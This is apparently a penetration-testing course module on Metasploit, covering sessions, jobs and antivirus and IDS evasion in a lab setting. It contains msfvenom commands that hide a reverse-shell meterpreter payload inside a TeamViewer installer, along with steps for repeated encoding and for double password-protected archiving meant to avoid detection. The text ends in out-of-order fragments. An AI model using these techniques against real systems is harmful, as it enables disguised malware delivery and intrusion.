auto_exploit Commands
=====================
Command Description
------- -----------
show_client_side Show matched client side exploits from data imported from vuln scanners.
vuln_exploit Runs exploits based on data imported from vuln scanners.
Discovery Commands
==================
Command Description
------- -----------
discover_db Run discovery modules against current hosts in the database.
network_discover Performs a port-scan and enumeration of services found for non pivot networks.
pivot_network_discover Performs enumeration of networks available to a specified Meterpreter session.
show_session_networks Enumerate the networks one could pivot thru Meterpreter in the active sessions.
Project Commands
================
Command Description
------- -----------
project Command for managing projects.
Postauto Commands
=================
Command Description
------- -----------
app_creds Run application password collection modules against specified sessions.
get_lhost List local IP addresses that can be used for LHOST.
multi_cmd Run shell command against several sessions
multi_meter_cmd Run a Meterpreter Console Command against specified sessions.
multi_meter_cmd_rc Run resource file with Meterpreter Console Commands against specified sessions.
multi_post Run a post module against specified sessions.
multi_post_rc Run resource file with post modules and options against specified sessions.
sys_creds Run system password collection modules against specified sessions.
<SNIP>
Many people write many different plugins for the Metasploit framework. They all have a specific purpose and can be an excellent help to save time after familiarizing ourselves with them. Check out the list of popular plugins below:
Mixins
The Metasploit Framework is written in Ruby, an object-oriented programming language. This plays a big part in what makes msfconsole excellent to use. Mixins are one of those features that, when implemented, offer a large amount of flexibility to both the creator of the script and the user.
Mixins are classes that act as methods for use by other classes without having to be the parent class of those other classes. Thus, it would be deemed inappropriate to call it inheritance but rather inclusion. They are mainly used when we:
Want to provide a lot of optional features for a class.
Want to use one particular feature for a multitude of classes.
If we are just starting with Metasploit, we should not worry about the use of Mixins or their impact on our assessment. However, they are mentioned here as a note of how complex the customization of Metasploit can become.
Sessions
MSFconsole can manage multiple modules at the same time. This is one of the many reasons it provides the user with so much flexibility. This is done with the use of Sessions, which creates dedicated control interfaces for all of your deployed modules.
Once several sessions are created, we can switch between them and link a different module to one of the backgrounded sessions to run on it or turn them into jobs. Note that once a session is placed in the background, it will continue to run, and our connection to the target host will persist. Sessions can, however, die if something goes wrong during the payload runtime, causing the communication channel to tear down.
Using Sessions
While running any available exploits or auxiliary modules in msfconsole, we can background the session as long as they form a channel of communication with the target host. This can be done either by pressing the [CTRL] + [Z] key combination or by typing the background command in the case of Meterpreter stages. This will prompt us with a confirmation message. After accepting the prompt, we will be taken back to the msfconsole prompt (msf6 >) and will immediately be able to launch a different module.
Listing Active Sessions
We can use the sessions command to view our currently active sessions.
Sessions
msf6 exploit(windows/smb/psexec_psh) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ MS01 10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
Interacting with a Session
You can use the sessions -i [no.] command to open up a specific session.
This is specifically useful when we want to run an additional module on an already exploited system with a formed, stable communication channel.
This can be done by backgrounding our current session, which is formed due to the success of the first exploit, searching for the second module we wish to run, and, if made possible by the type of module selected, selecting the session number on which the module should be run. This can be done from the second module's show options menu.
Usually, these modules can be found in the post category, referring to Post-Exploitation modules. The main archetypes of modules in this category consist of credential gatherers, local exploit suggesters, and internal network scanners.
Jobs
If, for example, we are running an active exploit under a specific port and need this port for a different module, we cannot simply terminate the session using [CTRL] + [C]. If we did that, we would see that the port would still be in use, affecting our use of the new module. So instead, we would need to use the jobs command to look at the currently active tasks running in the background and terminate the old ones to free up the port.
Other types of tasks inside sessions can also be converted into jobs to run in the background seamlessly, even if the session dies or disappears.
Viewing the Jobs Command Help Menu
We can view the help menu for this command, like others, by typing jobs -h.
Sessions
msf6 exploit(multi/handler) > jobs -h
Usage: jobs [options]
Active job manipulation and interaction.
OPTIONS:
-K Terminate all running jobs.
-P Persist all running jobs on restart.
-S <opt> Row search filter.
-h Help banner.
-i <opt> Lists detailed information about a running job.
-k <opt> Terminate jobs by job ID and/or range.
-l List all running jobs.
-p <opt> Add persistence to job by job ID
-v Print more detailed info. Use with -i and -l
Viewing the Exploit Command Help Menu
When we run an exploit, we can run it as a job by typing exploit -j. Per the help menu for the exploit command, adding -j to our command. Instead of just exploit or run, will "run it in the context of a job."
Sessions
msf6 exploit(multi/handler) > exploit -h
Usage: exploit [options]
Launches an exploitation attempt.
OPTIONS:
-J Force running in the foreground, even if passive.
-e <opt> The payload encoder to use. If none is specified, ENCODER is used.
-f Force the exploit to run regardless of the value of MinimumRank.
-h Help banner.
-j Run in the context of a job.
<SNIP
Running an Exploit as a Background Job
Sessions
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.34:4444
Listing Running Jobs
To list all running jobs, we can use the jobs -l command. To kill a specific job, look at the index no. of the job and use the kill [index no.] command. Use the jobs -K command to kill all running jobs.
Sessions
msf6 exploit(multi/handler) > jobs -l
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler generic/shell_reverse_tcp tcp://10.10.14.34:4444
Next up, we'll work with the extremely powerful Meterpreter payload.
Firewall and IDS/IPS Evasion - msfvenom
To better learn how we can efficiently and quietly attack a target, we first need to understand better how that target is defended. We are introduced to two new terms:
Endpoint protection
Perimeter protection
Endpoint Protection
Endpoint protection refers to any localized device or service whose sole purpose is to protect a single host on the network. The host can be a personal computer, a corporate workstation, or a server in a network's De-Militarized Zone (DMZ).
Endpoint protection usually comes in the form of software packs which include Antivirus Protection, Antimalware Protection (this includes bloatware, spyware, adware, scareware, ransomware), Firewall, and Anti-DDOS all in one, under the same software package. We are better familiarized with this form than the latter, as most of us are running endpoint protection software on our PCs at home or the workstations at our workplace. Avast, Nod32, Malwarebytes, and BitDefender are just some current names.
Perimeter Protection
Perimeter protection usually comes in physical or virtualized devices on the network perimeter edge. These edge devices themselves provide access inside of the network from the outside, in other terms, from public to private.
Between these two zones, on some occasions, we will also find a third one, called the De-Militarized Zone (DMZ), which was mentioned previously. This is a lower-security policy level zone than the inside networks' one, but with a higher trust level than the outside zone, which is the vast Internet. This is the virtual space where public-facing servers are housed, which push and pull data for public clients from the Internet but are also managed from the inside and updated with patches, information, and other data to keep the served information up to date and satisfy the customers of the servers.
Security Policies
Security policies are the drive behind every well-maintained security posture of any network. They function the same way as ACL (Access Control Lists) do for anyone familiar with the Cisco CCNA educational material. They are essentially a list of allow and deny statements that dictate how traffic or files can exist within a network boundary. Multiple lists can act upon multiple network parts, allowing for flexibility within a configuration. These lists can also target different features of the network and hosts, depending on where they reside:
Network Traffic Policies
Application Policies
User Access Control Policies
File Management Policies
DDoS Protection Policies
Others
While not all of these categories above might have the words "Security Policy" attached to them, all of the security mechanisms around them operate on the same basic principle, the allow and deny entries. The only difference is the object target they refer to and apply to. So the question remains, how do we match events in the network with these rules so that the actions mentioned earlier can be taken?
There are multiple ways to match an event or object with a security policy entry:
Security Policy
Description
Signature-based Detection
The operation of packets in the network and comparison with pre-built and pre-ordained attack patterns known as signatures. Any 100% match against these signatures will generate alarms.
Heuristic / Statistical Anomaly Detection
Behavioral comparison against an established baseline included modus-operandi signatures for known APTs (Advanced Persistent Threats). The baseline will identify the norm for the network and what protocols are commonly used. Any deviation from the maximum threshold will generate alarms.
Stateful Protocol Analysis Detection
Recognizing the divergence of protocols stated by event comparison using pre-built profiles of generally accepted definitions of non-malicious activity.
Live-monitoring and Alerting (SOC-based)
A team of analysts in a dedicated, in-house, or leased SOC (Security Operations Center) use live-feed software to monitor network activity and intermediate alarming systems for any potential threats, either deciding themselves if the threat should be actioned upon or letting the automated mechanisms take action instead.
Evasion Techniques
Most host-based anti-virus software nowadays relies mainly on Signature-based Detection to identify aspects of malicious code present in a software sample. These signatures are placed inside the Antivirus Engine, where they are subsequently used to scan storage space and running processes for any matches. When a piece of unknown software lands on a partition and is matched by the Antivirus software, most Anti-viruses quarantine the malicious program and kill the running process.
How do we circumvent all this heat? We play along with it. The examples shown in the Encoders section show that simply encoding payloads using different encoding schemes with multiple iterations is not enough for all AV products. Moreover, merely establishing a channel of communication between the attacker and the victim can raise some alarms with the current capabilities of IDS/IPS products out there.
However, with the MSF6 release, msfconsole can tunnel AES-encrypted communication from any Meterpreter shell back to the attacker host, successfully encrypting the traffic as the payload is sent to the victim host. This mostly takes care of the network-based IDS/IPS. In some rare cases, we might be met with very strict traffic rulesets that flag our connection based on the sender's IP address. The only way to circumvent this is to find the services being let through. An excellent example of this would be the Equifax hack of 2017, where malicious hackers have abused the Apache Struts vulnerability to access a network of critical data servers. DNS exfiltration techniques were used to slowly siphon data out of the network and into the hackers' domain without being noticed for months. To learn more about this attack, visit the links below:
Returning to msfconsole, its capability to now sustain AES-encrypted tunnels, together with Meterpreter's feature of running in memory, raises our capability by a margin. However, we still have the issue of what happens to a payload once it reaches its destination, before it is run and placed into memory. This file could be fingerprinted for its signature, matched against the database, and blocked, together with our chances of accessing the target. We can also be sure that AV software developers are looking at msfconsole modules and capabilities to add the resulting code and files to their signature database, resulting in most if not all of the default payloads being immediately shut down by AV software nowadays.
We are in luck because msfvenom offers the option of using executable templates. This allows us to use some pre-set templates for executable files, inject our payload into them (no pun intended), and use any executable as a platform from which we can launch our attack. We can embed the shellcode into any installer, package, or program that we have at hand, hiding the payload shellcode deep within the legitimate code of the actual product. This greatly obfuscates our malicious code and, more importantly, lowers our detection chances. There are many valid combinations between actual, legitimate executable files, our different encoding schemes (and their iterations), and our different payload shellcode variants. This generates what is called a backdoored executable.
Take a look at the snippet below to understand how msfvenom can embed payloads into any executable file:
Firewall and IDS/IPS Evasion
harshitp0tter@htb[/htb]$ msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai chosen with final size 135
Payload size: 135 bytes
Saved as: /home/user/Desktop/TeamViewer_Setup.exe
Firewall and IDS/IPS Evasion
harshitp0tter@htb[/htb]$ ls
Pictures-of-cats.tar.gz TeamViewer_Setup.exe Cake_recipes
For the most part, when a target launches a backdoored executable, nothing will appear to happen, which can raise suspicions in some cases. To improve our chances, we need to trigger the continuation of the normal execution of the launched application while pulling the payload in a separate thread from the main application. We do so with the -k flag as it appears above. However, even with the -k flag running, the target will only notice the running backdoor if they launch the backdoored executable template from a CLI environment. If they do so, a separate window will pop up with the payload, which will not close until we finish running the payload session interaction on the target.
Archives
Archiving a piece of information such as a file, folder, script, executable, picture, or document and placing a password on the archive bypasses a lot of common anti-virus signatures today. However, the downside of this process is that they will be raised as notifications in the AV alarm dashboard as being unable to be scanned due to being locked with a password. An administrator can choose to manually inspect these archives to determine if they are malicious or not.
Generating Payload
Firewall and IDS/IPS Evasion
harshitp0tter@htb[/htb]$ msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai chosen with final size 135
Payload size: 135 bytes
Saved as: /home/user/test.js
If we check against VirusTotal to get a detection baseline from the payload we generated, the results will be the following.
VirusTotal
Firewall and IDS/IPS Evasion
harshitp0tter@htb[/htb]$ msf-virustotal -k <API key> -f test.js
[*] WARNING: When you upload or otherwise submit content, you give VirusTotal
[*] (and those we work with) a worldwide, royalty free, irrevocable and transferable
[*] licence to use, edit, host, store, reproduce, modify, create derivative works,
[*] communicate, publish, publicly perform, publicly display and distribute such
[*] content. To read the complete Terms of Service for VirusTotal, please go to the
[*] following link:
[*] https://www.virustotal.com/en/about/terms-of-service/
[*]
[*] If you prefer your own API key, you may obtain one at VirusTotal.
[*] Enter 'Y' to acknowledge: Y
[*] Using API key: <API key>
[*] Please wait while I upload test.js...
[*] VirusTotal: Scan request successfully queued, come back later for the report
[*] Sample MD5 hash : 35e7687f0793dc3e048d557feeaf615a
[*] Sample SHA1 hash : f2f1c4051d8e71df0741b40e4d91622c4fd27309
[*] Sample SHA256 hash : 08799c1b83de42ed43d86247ebb21cca95b100f6a45644e99b339422b7b44105
[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1652167047
[*] Requesting the report...
[*] Received code 0. Waiting for another 60 seconds...
[*] Analysis Report: test.js (11 / 59): <...SNIP...>
====================================================================================================
Antivirus Detected Version Result Update
--------- -------- ------- ------ ------
ALYac true 1.1.3.1 Exploit.Metacoder.Shikata.Gen 20220510
AVG true 21.1.5827.0 Win32:ShikataGaNai-A [Trj] 20220510
Acronis false 1.2.0.108 20220426
Ad-Aware true 3.0.21.193 Exploit.Metacoder.Shikata.Gen 20220510
AhnLab-V3 false 3.21.3.10230 20220510
Antiy-AVL false 3.0 20220510
Arcabit false 1.0.0.889 20220510
Avast true 21.1.5827.0 Win32:ShikataGaNai-A [Trj] 20220510
Avira false 8.3.3.14 20220510
Baidu false 1.0.0.2 20190318
BitDefender true 7.2 Exploit.Metacoder.Shikata.Gen 20220510
BitDefenderTheta false 7.2.37796.0 20220428
Bkav false 1.3.0.9899 20220509
CAT-QuickHeal false 14.00 20220510
CMC false 2.10.2019.1 20211026
ClamAV true 0.105.0.0 Win.Trojan.MSShellcode-6360729-0 20220509
Comodo false 34607 20220510
Cynet false 4.0.0.27 20220510
Cyren false 6.5.1.2 20220510
DrWeb false 7.0.56.4040 20220510
ESET-NOD32 false 25243 20220510
Emsisoft true 2021.5.0.7597 Exploit.Metacoder.Shikata.Gen (B) 20220510
F-Secure false 18.10.978.51 20220510
FireEye true 35.24.1.0 Exploit.Metacoder.Shikata.Gen 20220510
Fortinet false 6.2.142.0 20220510
GData true A:25.33002B:27.27300 Exploit.Metacoder.Shikata.Gen 20220510
Gridinsoft false 1.0.77.174 20220510
Ikarus false 6.0.24.0 20220509
Jiangmin false 16.0.100 20220509
K7AntiVirus false 12.12.42275 20220510
K7GW false 12.12.42275 20220510
Kaspersky false 21.0.1.45 20220510
Kingsoft false 2017.9.26.565 20220510
Lionic false 7.5 20220510
MAX true 2019.9.16.1 malware (ai score=89) 20220510
Malwarebytes false 4.2.2.27 20220510
MaxSecure false 1.0.0.1 20220510
McAfee false 6.0.6.653 20220510
McAfee-GW-Edition false v2019.1.2+3728 20220510
MicroWorld-eScan true 14.0.409.0 Exploit.Metacoder.Shikata.Gen 20220510
Microsoft false 1.1.19200.5 20220510
NANO-Antivirus false 1.0.146.25588 20220510
Panda false 4.6.4.2 20220509
Rising false 25.0.0.27 20220510
SUPERAntiSpyware false 5.6.0.1032 20220507
Sangfor false 2.14.0.0 20220507
Sophos false 1.4.1.0 20220510
Symantec false 1.17.0.0 20220510
TACHYON false 2022-05-10.02 20220510
Tencent false 1.0.0.1 20220510
TrendMicro false 11.0.0.1006 20220510
TrendMicro-HouseCall false 10.0.0.1040 20220510
VBA32 false 5.0.0 20220506
ViRobot false 2014.3.20.0 20220510
VirIT false 9.5.191 20220509
Yandex false 5.5.2.24 20220428
Zillya false 2.0.0.4627 20220509
ZoneAlarm false 1.0 20220510
Zoner false 2.2.2.0 20220509
Archiving the Payload
Firewall and IDS/IPS Evasion
harshitp0tter@htb[/htb]$ wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
harshitp0tter@htb[/htb]$ tar -xzvf rarlinux-x64-612.tar.gz && cd rar
harshitp0tter@htb[/htb]$ rar a ~/test.rar -p ~/test.js
Enter password (will not be echoed): ******
Reenter password: ******
RAR 5.50 Copyright (c) 1993-2017 Alexander Roshal 11 Aug 2017
Trial version Type 'rar -?' for help
Evaluation copy. Please register.
Creating archive test.rar
Adding test.js OK
Done
Firewall and IDS/IPS Evasion
harshitp0tter@htb[/htb]$ ls
test.js test.rar
Removing the .RAR Extension
Firewall and IDS/IPS Evasion
harshitp0tter@htb[/htb]$ mv test.rar test
harshitp0tter@htb[/htb]$ ls
test test.js
Archiving the Payload Again
Firewall and IDS/IPS Evasion
harshitp0tter@htb[/htb]$ rar a test2.rar -p test
Enter password (will not be echoed): ******
Reenter password: ******
RAR 5.50 Copyright (c) 1993-2017 Alexander Roshal 11 Aug 2017
Trial version Type 'rar -?' for help
Evaluation copy. Please register.
Creating archive test2.rar
Adding test OK
Done
Removing the .RAR Extension
Firewall and IDS/IPS Evasion
harshitp0tter@htb[/htb]$ mv test2.rar test2
harshitp0tter@htb[/htb]$ ls
test test2 test.js
The test2 file is the final .rar archive with the extension (.rar) deleted from the name. After that, we can proceed to upload it on VirusTotal for another check.
As we can see from the above, this is an excellent way to transfer data both to and from the target host.
Packers
The term Packer refers to the result of an executable compression process where the payload is packed together with an executable program and with the decompression code in one single file. When run, the decompression code returns the backdoored executable to its original state, allowing for yet another layer of protection against file scanning mechanisms on target hosts. This process takes place transparently for the compressed executable to be run the same way as the original executable while retaining all of the original functionality. In addition, msfvenom provides the ability to compress and change the file structure of a backdoored executable and encrypt the underlying process structure.
A list of popular packer software:
Alternate EXE Packer
ExeStealth
Morphine
MEW
Themida
Exploit Coding
When coding our exploit or porting a pre-existing one over to the Framework, it is good to ensure that the exploit code is not easily identifiable by security measures implemented on the target system.
For example, a typical Buffer Overflow exploit might be easily distinguished from regular traffic traveling over the network due to its hexadecimal buffer patterns. IDS / IPS placements can check the traffic towards the target machine and notice specific overused patterns for exploiting code.
When assembling our exploit code, randomization can help add some variation to those patterns, which will break the IPS / IDS database signatures for well-known exploit buffers. This can be done by inputting an Offset switch inside the code for the msfconsole module:
Besides the BoF code, one should always avoid using obvious NOP sleds where the shellcode should land after the overflow is completed. Please note that the BoF code's purpose is to crash the service running on the target machine, while the NOP sled is the allocated memory where our shellcode (the payload) is inserted. IPS/IDS entities regularly check both of these, so it is good to test our custom exploit code against a sandbox environment before deploying it on the client network. Of course, we might only have one chance to do this correctly during an assessment.
Intrusion Prevention Systems and Antivirus Engines are the most common defender tools that can shoot down an initial foothold on the target. These mainly function on signatures of the whole malicious file or the stub stage.
A Note on Evasion
This section covers evasion at a high level. Be on the lookout for later modules that will dig deeper into the theory and practical knowledge needed to perform evasion more effectively. It is worth trying some of these techniques out on older HTB machines or installing a VM with older versions of Windows Defender or free AV engines, and practicing evasion skills. This is a vast topic that cannot be covered adequately in a single section.
The return address can vary because a particular language pack changes addresses, a different software version is available, or the addresses are shifted due to hooks. It is all determined by the type of return address required to identify the target. This address can be jmp esp, a jump to a specific register that identifies the target, or a pop/pop/ret. For more on the topic of return addresses, see the module. Comments in the exploit module's code can help us determine what the target is defined by.
As mentioned above, Meterpreter payloads offer us a significant amount of flexibility. Their base functionality is already vast and influential. We can automate and quickly deliver combined with plugins such as parts of the pentest while keeping an organized, time-effective assessment. To see all of the available payloads, use the show payloads command in msfconsole.
Shikata Ga Nai (SGN) was one of the most utilized encoding schemes back in the day because it was very hard to detect payloads encoded through its mechanism. However nowadays, modern detection methods have caught up, and these encoded payloads are far from being universally undetectable anymore. The name (仕方がない) means It cannot be helped or Nothing can be done about it, and rightfully so if we were reading this a few years ago. However, there are other methodologies we will explore to evade protection systems. details the why and the how of Shikata Ga Nai's previous rule over the other encoders.
If we want to look at the functioning of the shikata_ga_nai encoder, we can look at an excellent post .
VirusTotal report showing 54 out of 69 engines detected TeamViewerInstall.exe as malicious, listing various trojans and suspicious detections by different antivirus engines.
VirusTotal report showing 52 out of 65 engines detected TeamViewerInstall.exe as malicious, listing various trojans and suspicious detections by different antivirus engines.
The use of plugins makes a pentester's life even easier, bringing the functionality of well-known software into the msfconsole or Metasploit Pro environments. Whereas before, we needed to cycle between different software to import and export results, setting options and parameters over and over again, now, with the use of plugins, everything is automatically documented by msfconsole into the database we are using and hosts, services and vulnerabilities are made available at-a-glance for the user. work directly with the API and can be used to manipulate the entire framework. They can be useful for automating repetitive tasks, adding new commands to the msfconsole, and extending the already powerful framework.
For example, let us try installing . Then, following the link above, we get a couple of Ruby (.rb) files which we can directly place in the folder mentioned above.
Most of the Ruby programming language revolves around Mixins as Modules. The concept of Mixins is implemented using the word include, to which we pass the name of the module as a parameter. We can read more about mixins .
Now, try archiving it two times, passwording both archives upon creation, and removing the .rar/.zip/.7z extension from their names. For this purpose, we can install the from RARLabs, which works precisely like WinRAR on Windows.
If we want to learn more about packers, please check out the .
For more information about exploit coding, we recommend checking out the book from No Starch Press. They delve into quite some detail about creating our exploits for the Framework.
